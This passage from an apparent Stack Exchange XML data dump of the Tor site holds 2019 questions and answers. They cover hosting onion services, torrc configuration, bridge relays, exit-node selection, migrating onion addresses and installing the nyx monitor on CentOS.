  <row Id="20298" PostTypeId="2" ParentId="20297" CreationDate="2019-09-16T18:28:53.740" Score="0" Body="&lt;p&gt;There's no real consensus on frameworks that people are using except being based on LAMP/LEMP. A good rule of thumb is that the more complex a site, the more possible it is  to get hacked or to be de-anonymized. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some options to look at:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Conversion to HTML from Asciidoc/Markdown&lt;/li&gt;&#xA;&lt;li&gt;Hugo&lt;/li&gt;&#xA;&lt;li&gt;Direct HTML with an editor&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All of these can create nice looking yet simple websites. If you are looking for something more complex such as applications written in Ruby/Rails, then you might want to check with the tor-onions mailing list to see if what frameworks that people are using and what safety concerns do you need to be aware of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One final thing, think about what you want to do with your onion service. Is it a blog or purely information? If so, maybe plain html is the way to go. Is it meant to be shiny and interactive? Then you will want to plan specifically what it should be able to do, what language/framework is best to do it, and what security requirements are needed.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-09-16T18:28:53.740" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20299" PostTypeId="2" ParentId="20295" CreationDate="2019-09-16T19:45:07.323" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there a way to enfource a new route towards my hidden services so I&#xA;  can circumvent the peers that are failing?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://2019.www.torproject.org/docs/onion-services.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Project website&lt;/a&gt;, we see:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;An onion service needs to advertise its existence in the Tor network&#xA;  before clients will be able to contact it. Therefore, the service&#xA;  randomly picks some relays, builds circuits to them, and asks them to&#xA;  act as introduction points by telling them its public key.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Theoretically you could have just have the Tor service on your machine restart every 15+ minutes to choose new random nodes to connect to, but I'm not sure that would help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are running your onion service at home, what kind of upload speeds do you have through your provider? Most ISPs only provide a fraction of the upload speed compared to download speed so you could be using up all of your available upload bandwidth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My suggestion:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set up a simple web server as an onion service and make a simple script to check it once every 15 minutes. Are there certain times of the day that it is more unstable than others? Is it random? If you let it run for 24 hours, out of the 96 times that it should theoretically connect, how many times did it time out or not connect at all?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are some simple things that you can do to test your connection and help pinpoint the issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using Linux/Mac/BSD, you can use this bash command script to check your connection every 15 minutes for 1 day.  Review oniontest.log to see the results.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for time in {1..96};       &#xA;do&#xA; echo $time &amp;gt;&amp;gt; oniontest.log; \&#xA; torsocks curl -I expyuzz4wqqyqhjn.onion &amp;gt;&amp;gt; oniontest.log; \&#xA; sleep 900; \&#xA;done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace expyuzz4wqqyqhjn.onion with your onion service or use it as a control example.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-09-16T19:45:07.323" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20300" PostTypeId="2" ParentId="9160" CreationDate="2019-09-17T08:32:08.063" Score="1" Body="&lt;p&gt;Speaking from experience, this is not currently possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;During the compiling process, the make script will download some binaries that are only built for X86 and not for ARM and therefore the compilation wil fail every time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor developers plan on releasing a version for Tor Browser for ARM in the future, but there is no ETA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your best option at the current time is to download the Tor application and apply it to Firefox/Iceweasel.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-09-17T08:32:08.063" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20302" PostTypeId="1" CreationDate="2019-09-17T23:38:39.977" Score="3" ViewCount="2072" Body="&lt;p&gt;When I used Tor a time ago, on the left top corner I could see wich nodes and exit was currently used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I don't find that function anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any reaction!&lt;/p&gt;&#xA;" OwnerUserId="27750" LastActivityDate="2019-09-22T17:44:24.147" Title="How to show Tor nodes or exits" Tags="|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20303" PostTypeId="1" CreationDate="2019-09-18T07:12:09.010" Score="0" ViewCount="64" Body="&lt;p&gt;Says it cant reach port. I was never offered the option to configure it (Region allowed, not allowed) and have disabled and reconfigured windows defender several times. I double checked that my clock was synced. The only error is &quot;could not connect to Tor control port&quot; which leads me to think firewall. Any ideas ?&lt;/p&gt;&#xA;" OwnerUserId="27755" LastActivityDate="2019-09-25T07:33:35.567" Title="Installed Tor, it wont open" Tags="|configuration|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20304" PostTypeId="2" ParentId="4890" CreationDate="2019-09-19T08:48:10.060" Score="0" Body="&lt;p&gt;The current (2019-09-19) user-agent of Tor is&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Mozilla/5.0 (Windows NT 6.1; rv:60.0) Gecko/20100101 Firefox/60.0&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://blog.torproject.org/browser-fingerprinting-introduction-and-challenges-ahead&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.torproject.org/browser-fingerprinting-introduction-and-challenges-ahead&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27766" LastActivityDate="2019-09-19T08:48:10.060" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20306" PostTypeId="1" CreationDate="2019-09-21T20:03:27.433" Score="2" ViewCount="211" Body="&lt;p&gt;In Tor Browser for Windows, I can edit the torrc file for things like ExcludeNodes and ExitNodes.  In Orbot for Android, there is a settings menu where these can be configured.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Tor Browser 8.5.6 for Android, how do I configure these settings?  Is there a torrc file somewhere in the Android file system?  If so, where would I find it?  If not, how do I configure ExcludeNodes and ExitNodes? &lt;/p&gt;&#xA;" OwnerUserId="27781" LastActivityDate="2019-09-21T20:03:27.433" Title="How to configure node restrictions in Tor Browser 8.5.6 for Android?" Tags="|configuration|circuit|android|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20308" PostTypeId="1" CreationDate="2019-09-21T23:53:53.693" Score="1" ViewCount="2194" Body="&lt;p&gt;I installed tor via &lt;code&gt;brew&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;brew install tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am able to start &lt;code&gt;tor&lt;/code&gt; from the command line, and the directory that tor is looking for the config file &lt;code&gt;/usr/local/etc/tor&lt;/code&gt; does not exists after the installation.  I have also looked in the &lt;code&gt;/usr/local/Cellar/tor/0.4.1.5_1/&lt;/code&gt; folder tree where the geoIP files are loaded.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also looked in several other locations from suggestions on other threads such as:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;~/Library/Application Support/TorBrowser-Data/Tor/torrc&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also no log file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/usr/local/var/log/tor.log&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tor&#xA;&#xA;Sep 21 19:43:22.533 [notice] Tor 0.4.1.5 running on Darwin with Libevent 2.1.11-stable, OpenSSL 1.1.1d, Zlib 1.2.11, Liblzma N/A, and Libzstd N/A.&#xA;Sep 21 19:43:22.533 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Sep 21 19:43:22.533 [notice] Configuration file &quot;/usr/local/etc/tor/torrc&quot; not present, using reasonable defaults.&#xA;Sep 21 19:43:22.539 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;Sep 21 19:43:22.539 [notice] Opened Socks listener on 127.0.0.1:9050&#xA;Sep 21 19:43:22.000 [notice] Parsing GEOIP IPv4 file /usr/local/Cellar/tor/0.4.1.5_1/share/tor/geoip.&#xA;Sep 21 19:43:22.000 [notice] Parsing GEOIP IPv6 file /usr/local/Cellar/tor/0.4.1.5_1/share/tor/geoip6.&#xA;Sep 21 19:43:22.000 [notice] Bootstrapped 0% (starting): Starting&#xA;Sep 21 19:43:22.000 [notice] Starting with guard context &quot;default&quot;&#xA;Sep 21 19:43:23.000 [notice] Bootstrapped 5% (conn): Connecting to a relay&#xA;Sep 21 19:43:24.000 [notice] Bootstrapped 10% (conn_done): Connected to a relay&#xA;Sep 21 19:43:24.000 [notice] Bootstrapped 14% (handshake): Handshaking with a relay&#xA;Sep 21 19:43:24.000 [notice] Bootstrapped 15% (handshake_done): Handshake with a relay done&#xA;Sep 21 19:43:24.000 [notice] Bootstrapped 20% (onehop_create): Establishing an encrypted directory connection&#xA;Sep 21 19:43:24.000 [notice] Bootstrapped 25% (requesting_status): Asking for networkstatus consensus&#xA;Sep 21 19:43:24.000 [notice] Bootstrapped 30% (loading_status): Loading networkstatus consensus&#xA;Sep 21 19:43:25.000 [notice] I learned some more directory information, but not enough to build a circuit: We have no usable consensus.&#xA;Sep 21 19:43:25.000 [notice] Bootstrapped 40% (loading_keys): Loading authority key certs&#xA;Sep 21 19:43:26.000 [notice] The current consensus has no exit nodes. Tor can only build internal paths, such as paths to onion services.&#xA;Sep 21 19:43:26.000 [notice] Bootstrapped 45% (requesting_descriptors): Asking for relay descriptors&#xA;Sep 21 19:43:26.000 [notice] I learned some more directory information, but not enough to build a circuit: We need more microdescriptors: we have 0/6408, and can only build 0% of likely paths. (We have 0% of guards bw, 0% of midpoint bw, and 0% of end bw (no exits in consensus, using mid) = 0% of path bw.)&#xA;Sep 21 19:43:26.000 [notice] Bootstrapped 50% (loading_descriptors): Loading relay descriptors&#xA;Sep 21 19:43:29.000 [notice] The current consensus contains exit nodes. Tor can build exit and internal paths.&#xA;Sep 21 19:43:31.000 [notice] Bootstrapped 56% (loading_descriptors): Loading relay descriptors&#xA;Sep 21 19:43:31.000 [notice] Bootstrapped 63% (loading_descriptors): Loading relay descriptors&#xA;Sep 21 19:43:31.000 [notice] Bootstrapped 68% (loading_descriptors): Loading relay descriptors&#xA;Sep 21 19:43:31.000 [notice] Bootstrapped 75% (enough_dirinfo): Loaded enough directory info to build circuits&#xA;Sep 21 19:43:32.000 [notice] Bootstrapped 80% (ap_conn): Connecting to a relay to build circuits&#xA;Sep 21 19:43:32.000 [notice] Bootstrapped 85% (ap_conn_done): Connected to a relay to build circuits&#xA;Sep 21 19:43:32.000 [notice] Bootstrapped 89% (ap_handshake): Finishing handshake with a relay to build circuits&#xA;Sep 21 19:43:32.000 [notice] Bootstrapped 90% (ap_handshake_done): Handshake finished with a relay to build circuits&#xA;Sep 21 19:43:32.000 [notice] Bootstrapped 95% (circuit_create): Establishing a Tor circuit&#xA;Sep 21 19:43:33.000 [notice] Bootstrapped 100% (done): Done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27783" LastActivityDate="2024-01-05T14:08:01.540" Title="torrc file in Mac OS High Sierra" Tags="|configuration|tor-install|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20309" PostTypeId="1" AcceptedAnswerId="20310" CreationDate="2019-09-22T15:33:27.863" Score="0" ViewCount="830" Body="&lt;p&gt;If tor bridge relays aren't available to public and hide you from the government/isp... Etc  then why there are smaller number of bridge relays than normal ones? &lt;/p&gt;&#xA;" OwnerUserId="27788" LastEditorUserId="27788" LastEditDate="2019-09-22T15:42:41.243" LastActivityDate="2019-09-22T17:33:48.170" Title="Why are there only a small number of tor bridge relays compared to normal relays?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20310" PostTypeId="2" ParentId="20309" CreationDate="2019-09-22T17:33:48.170" Score="0" Body="&lt;p&gt;The Tor Project recently released a blog post &lt;a href=&quot;https://blog.torproject.org/run-tor-bridges-defend-open-internet&quot; rel=&quot;nofollow noreferrer&quot;&gt;talking about it&lt;/a&gt;. While the post doesn't say why the number is so small, it does talk about &lt;a href=&quot;https://community.torproject.org/relay/setup/bridge/&quot; rel=&quot;nofollow noreferrer&quot;&gt;how to set them up&lt;/a&gt;. I believe though that the reason is simply because people don't know what they are or what they do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My theory is that many users of Tor don't realize that it is a tool for anonymity and privacy and instead they just confuse it with the ridiculous &quot;dark web&quot; meme. A few will really dig in. Fewer still will set up a relay and barely more than a handful (relatively speaking) will ever set up a bridge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do we fix this? First, set up your own if you can! Blog about it, tweet about it, let people know what bridges are and how they can help the community, especially those in countries with heavy censorship. &lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-09-22T17:33:48.170" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20311" PostTypeId="2" ParentId="20302" CreationDate="2019-09-22T17:44:24.147" Score="1" Body="&lt;p&gt;This is from the &lt;a href=&quot;https://tb-manual.torproject.org/managing-identities/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Browser manual&lt;/a&gt; on the Tor website:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;THE URL BAR&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Tor Browser centers your web experience around your relationship with&#xA;  the website in the URL bar. Even if you connect to two different sites&#xA;  that use the same third-party tracking service, Tor Browser will force&#xA;  the content to be served over two different Tor circuits, so the&#xA;  tracker will not know that both connections originate from your&#xA;  browser.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;On the other hand, all connections to a single website address will be&#xA;  made over the same Tor circuit, meaning you can browse different pages&#xA;  of a single website in separate tabs or windows, without any loss of&#xA;  functionality.&#xA;  &lt;a href=&quot;https://i.stack.imgur.com/WlFYI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WlFYI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You can see a diagram of the circuit that Tor Browser is using for the&#xA;  current tab in the site information menu, in the URL bar.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;In the circuit, the Guard or entry node is the first node and it's&#xA;  automatically and randomly selected by Tor. But it is different from&#xA;  the other nodes in the circuit. In order to avoid profiling attacks,&#xA;  the Guard node changes only after 2-3 months, unlike the other nodes,&#xA;  which change with every new domain. For more information about Guards,&#xA;  consult the FAQ and Support Portal.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-09-22T17:44:24.147" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20313" PostTypeId="1" AcceptedAnswerId="20348" CreationDate="2019-09-22T19:39:22.197" Score="0" ViewCount="1523" Body="&lt;p&gt;Does changing every normal relay to bridge relay make tor better,? because they provide more anonymity, except exit nodes to help them incase of Abuse reports, other issues... Etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your Isp can block connections to all known tor relays but they they can't block every bridge relay,bridge relays are better?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;running a bridge relay is actually better in every circumstance, it has its benefits no disbenefits, so it should be a default recommendation? &lt;/p&gt;&#xA;" OwnerUserId="27788" LastEditorUserId="27788" LastEditDate="2019-09-23T21:47:25.220" LastActivityDate="2019-09-30T07:41:04.320" Title="Does changing all guard/middle nodes to bridge make tor better?" Tags="|tor-browser-bundle|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20314" PostTypeId="2" ParentId="17461" CreationDate="2019-09-23T01:10:55.037" Score="0" Body="&lt;p&gt;This reminds me of Whonix. You could set up a Whonix VM &quot;gateway&quot; and connect whatever you wanted through that &quot;gateway&quot; (this is an assumption - all you need is access to the hypervisor network), like the regular &quot;workstation&quot; does.&#xA;More info at &lt;a href=&quot;https://www.whonix.org/wiki/About&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.whonix.org/wiki/About&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you change your requirement to &quot;how can I run a VM through Tor only&quot; then this applies.&lt;/p&gt;&#xA;" OwnerUserId="459" LastActivityDate="2019-09-23T01:10:55.037" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20315" PostTypeId="2" ParentId="20313" CreationDate="2019-09-23T01:13:41.393" Score="2" Body="&lt;p&gt;It does not make Tor better per say. If you live under certain conditions, running a bridge relay is a better option for you. It is not a default recommendation however.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info at: &lt;a href=&quot;https://2019.www.torproject.org/docs/faq#RelayOrBridge&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://2019.www.torproject.org/docs/faq#RelayOrBridge&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="459" LastActivityDate="2019-09-23T01:13:41.393" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20318" PostTypeId="2" ParentId="20313" CreationDate="2019-09-24T07:45:04.980" Score="1" Body="&lt;p&gt;No, making every relay a bridge would not be better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to setup a circuit (a connection from a client to an exit node or onion service), the client needs to be able to pick all the nodes in the path.  The client can only pick nodes that it knows about (can't pick something you don't know exists).  The whole point of bridges is that they're not published to everyone, so each client only get a small subset of the total list of bridges.  Thus, each client would only have a few relays to choose from, which would make it easier for an adversary to attack the client's whole path and deanonymise the communication.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your ISP blocks connections to all known tor relays, then yes, you'll want to use a bridge, but only as the entrypoint into the Tor network.  Once you've contacted your bridge, you can still use normal relays as additional nodes in your circuits, because your ISP doesn't know that you're using the other tor relays (the connection to those relays doesn't come from your local machine, it comes from the bridge.&lt;/p&gt;&#xA;" OwnerUserId="27799" LastActivityDate="2019-09-24T07:45:04.980" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="20321" PostTypeId="1" CreationDate="2019-09-24T15:04:20.657" Score="0" ViewCount="230" Body="&lt;p&gt;I am having a problem migrating an url (address) onion on a new server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my new server I have a first url (torrc) (which I generated on this new server) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/hidden_service/&#xA;HiddenServicePort 80 127.0.0.1:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and configure as follows on 000-default.conf on apache (etc/apache2/sites-available/):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;VirtualHost 127.0.0.1:80&amp;gt;&#xA;&#xA;ServerName MyAdressOnionV3.onion&#xA;&#xA;ServerAdmin webmaster @ localhost&#xA;DocumentRoot /var/www/&#xA;&#xA;Header always append X-Frame-Options SAMEORIGIN&#xA;Header set X-XSS-Protection &quot;1; mode = block&quot;&#xA;Header always set Strict-Transport-Security &quot;max-age = 2592000; includeSubDomains; preload;&quot;&#xA;&amp;lt;/ VirtualHost&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My new server is working well.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but when I try to add my old url, no more domain works&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/hidden_service/&#xA;HiddenServicePort 80 127.0.0.1:80&#xA;&#xA;HiddenServiceDir /var/lib/tor/hidden_service02/&#xA;HiddenServicePort 80 127.0.0.1:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and configure as follows on 000-default.conf on apache (etc/apache2/sites-available/):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;VirtualHost 127.0.0.1:80&amp;gt;&#xA;&#xA;    ServerName MyAdressOnionV3.onion&#xA;&#xA;    ServerAdmin webmaster @ localhost&#xA;    DocumentRoot /var/www/&#xA;&#xA;    Header always append X-Frame-Options SAMEORIGIN&#xA;    Header set X-XSS-Protection &quot;1; mode = block&quot;&#xA;    Header always set Strict-Transport-Security &quot;max-age = 2592000; includeSubDomains; preload;&quot;&#xA;    &amp;lt;/ VirtualHost&amp;gt;&#xA;&#xA;    **&amp;lt;VirtualHost 127.0.0.1:80&amp;gt;&#xA;&#xA;    ServerName MyOldAdressOnionV3.onion&#xA;&#xA;    ServerAdmin webmaster @ localhost&#xA;    DocumentRoot /var/www2/&#xA;&#xA;    Header always append X-Frame-Options SAMEORIGIN&#xA;    Header set X-XSS-Protection &quot;1; mode = block&quot;&#xA;    Header always set Strict-Transport-Security &quot;max-age = 2592000; includeSubDomains; preload;&quot;&#xA;    &amp;lt;/ VirtualHost&amp;gt;**&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I specify that in &quot;hidden_service02&quot; I have the &quot;hostname&quot; files secret_key &quot;and&quot; public key &quot; that I transferred from my old server&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I open the file &quot;secret_key&quot; and &quot;public key&quot; with notepad, I have no RSA key but it starts with &quot;== ed25519v1-public: ......&quot; and other bizarre character do not know if it's normal&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most no domain works&#xA;What do I do wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help me please, thank you in advance&lt;/p&gt;&#xA;" OwnerUserId="27803" LastActivityDate="2019-09-24T15:04:20.657" Title="Migrate onion adress" Tags="|configuration|directory|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20322" PostTypeId="1" CreationDate="2019-09-24T16:23:37.547" Score="1" ViewCount="223" Body="&lt;p&gt;I would like to open open my own shop with .onion extention but I'm stuck where to begin. Is there anyone who can give pointers or know if there is an extising guide from buying the server through to server coding and other softwhere pointers?&#xA;Should I use laravel or would it have to coding from scratch?&lt;/p&gt;&#xA;" OwnerUserId="27800" LastActivityDate="2020-02-21T23:01:30.207" Title="does anyone know how I can setup a server to host my own private shop on the hidden service" Tags="|onion-routing|server|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20323" PostTypeId="1" CreationDate="2019-09-24T17:03:22.233" Score="0" ViewCount="2779" Body="&lt;p&gt;I want to be able to change my geolocation on Tor, but I can't figure out how to do that. I'm a complete noob, so forgive me for my rudimentary understanding of how things work. Browsers can read the IP from Tor's exit node, and that offers a way to find the location of the IP address. So far I've only been able to set up proxies in positions other than the exit node, so they're not getting read like I want them to. Long story short, I want to be able to change my exit node to a Socks5 proxy. If that's not possible, even something like a web proxy would work as long as it offers the ability to change geolocation (browser-&gt;entry node-&gt;middle node-&gt;exit node-&gt;proxy-&gt;website)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that you can designate a preferred country using torrc, but that's not specific enough for my purposes. I also know that doing this will essentially eliminate my security if the proxy is traceable directly to me, I understand that. &lt;/p&gt;&#xA;" OwnerUserId="27806" LastEditorUserId="27806" LastEditDate="2019-09-24T17:08:49.020" LastActivityDate="2019-09-24T20:40:34.190" Title="Using a custom exit node for Tor?" Tags="|exit-relays|proxy|location|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20325" PostTypeId="2" ParentId="20323" CreationDate="2019-09-24T20:40:34.190" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://2019.www.torproject.org/docs/faq.html.en#ChooseEntryExit&quot; rel=&quot;nofollow noreferrer&quot;&gt;From the Tor General FAQ&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can I control which nodes (or country) are used for entry/exit? Yes.&#xA;  You can set preferred entry and exit nodes as well as inform Tor which&#xA;  nodes you do not want to use. The following options can be added to&#xA;  your config file torrc or specified on the command line:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EntryNodes $fingerprint,$fingerprint,...&#xA;&#xA;A list of preferred nodes to use for the first hop in the circuit, if possible.&#xA;&#xA;ExitNodes $fingerprint,$fingerprint,...&#xA;&#xA;A list of preferred nodes to use for the last hop in the circuit, if possible.&#xA;&#xA;ExcludeNodes $fingerprint,$fingerprint,...&#xA;&#xA;A list of nodes to never use when building a circuit.&#xA;&#xA;ExcludeExitNodes $fingerprint,$fingerprint,...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A list of nodes to never use when picking an exit. Nodes listed in&#xA;  ExcludeNodes are automatically in this list. We recommend you do not&#xA;  use these — they are intended for testing and may disappear in future&#xA;  versions. You get the best security that Tor can provide when you&#xA;  leave the route selection to Tor; overriding the entry / exit nodes&#xA;  can mess up your anonymity in ways we don't understand.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Note also that not every circuit is used to deliver traffic outside of&#xA;  the Tor network. It is normal to see non-exit circuits (such as those&#xA;  used to connect to onion services, those that do directory fetches,&#xA;  those used for relay reachability self-tests, and so on) that end at a&#xA;  non-exit node. To keep a node from being used entirely, see&#xA;  ExcludeNodes and StrictNodes in the manual.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Instead of $fingerprint you can also specify a 2 letter ISO3166&#xA;  country code in curly braces (for example {de}), or an ip address&#xA;  pattern (for example 255.254.0.0/8). Make sure there are no spaces&#xA;  between the commas and the list items.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If you want to access a service directly through Tor's Socks interface&#xA;  (eg. using ssh via connect.c), another option is to set up an internal&#xA;  mapping in your configuration file using MapAddress. See the manual&#xA;  page for details.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can search for node fingerprints by going here: &lt;a href=&quot;https://metrics.torproject.org/rs.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://metrics.torproject.org/rs.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-09-24T20:40:34.190" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20326" PostTypeId="2" ParentId="7128" CreationDate="2019-09-24T21:04:10.813" Score="0" Body="&lt;p&gt;Posting despite the fact this is an old topic, given it is a popular hit when searching for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Posted at &lt;a href=&quot;https://www.reddit.com/r/TOR/comments/d8td66/quickdirty_installation_guide_for_installing_nyx/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.reddit.com/r/TOR/comments/d8td66/quickdirty_installation_guide_for_installing_nyx/&lt;/a&gt; as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;: pip3.x is probably the easiest way for CentOS/RHEL7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Prerequisites:&#xA;* A functioning tor node&#xA;* &lt;code&gt;ControlPort 9051&lt;/code&gt; and &lt;code&gt;CookieAuthentication 1&lt;/code&gt; in your &lt;code&gt;torrc&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 1: Install Extra Packages for Enterprise Linux (EPEL) repository configuration&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sudo yum -y install epel-release&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 2: Install python34-setuptools&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sudo yum -y install python34-setuptools&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 3: Install pip&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sudo easy_install-3.4 pip&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 4: Install nyx itself&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sudo pip3.7 install nyx&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 5: Enjoy &lt;code&gt;nyx&lt;/code&gt;!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;nyx&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;N.B.: &lt;code&gt;nyx&lt;/code&gt; will run as root but there is no benefit to doing so and you probably should practice not running things as root for the lols.&lt;/p&gt;&#xA;" OwnerUserId="27807" LastActivityDate="2019-09-24T21:04:10.813" CommentCount="0" ContentLicense="CC BY-SA 